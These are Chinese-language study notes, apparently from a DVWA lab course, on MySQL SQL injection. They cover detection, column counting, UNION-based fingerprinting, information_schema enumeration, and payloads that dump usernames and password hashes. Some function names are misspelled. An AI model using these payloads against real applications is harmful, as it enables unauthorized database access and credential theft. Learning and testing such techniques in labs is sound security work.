软件包跟踪
http://pkg.kali.org
SQL注入
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回客户端浏览器
用户登陆判断
SELECT * FROM users WHERE user='uname' AND password='pass'
漏洞原理
闭合符号
SELECT * FORM users WHERE user='uname' AND password='' OR ''=''
漏洞检测
基于报错显示(low)
' " % ()
基于布尔的检测方式
SELECT a,b FROM users WHERE id=''
加入 1' and '1'='1 1' and '1'='2
1' and '1' 1' and '0'
or 也可以
判断有几个查询的字段,具体输出的位置
'order by 9-- 最后有空格注释才生效
联合查询 union
'union select 1,2--
确定第一个字段和第二个字段出现在页面的哪一个位置
'union all select用法差不错
把字段位置替换为mysql数据库的默认函数
user() 查询数据库当前的用户
version() 查询数据库的版本
database() 查询数据库的名称
char() ASCII转字符
md5() md5计算
CONCATWS(CHAR(32,58,32),user(),database(),version()) 多个函数联合用 ASCII码 32 58 32 分隔
substringindex(USER(),"@",1) 分割显示结果
全局函数
@@datadir 当前数据库所在位置
@@hostname 查看主机名
@@version_compile_os 查看系统信息
hackbar F9显示
Mysql数据结构
元数据描述数据的数据
元数据存在 information_schema 数据库中
常用语句mysql数据库
所有库所有表
' union select table_name,table_schema from information_schema.tables--+
统计每个库中表的数量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
Dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
User表中的所有列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+
查询User,password列的内容
' union select user,password from dvwa.users--+
这两个一样,因为网站本身给你带有从哪个表里查询
' union select user,password from users--+
爆出内容 以 : 分隔
' union select null, concat(user,0x3a,password) from users--+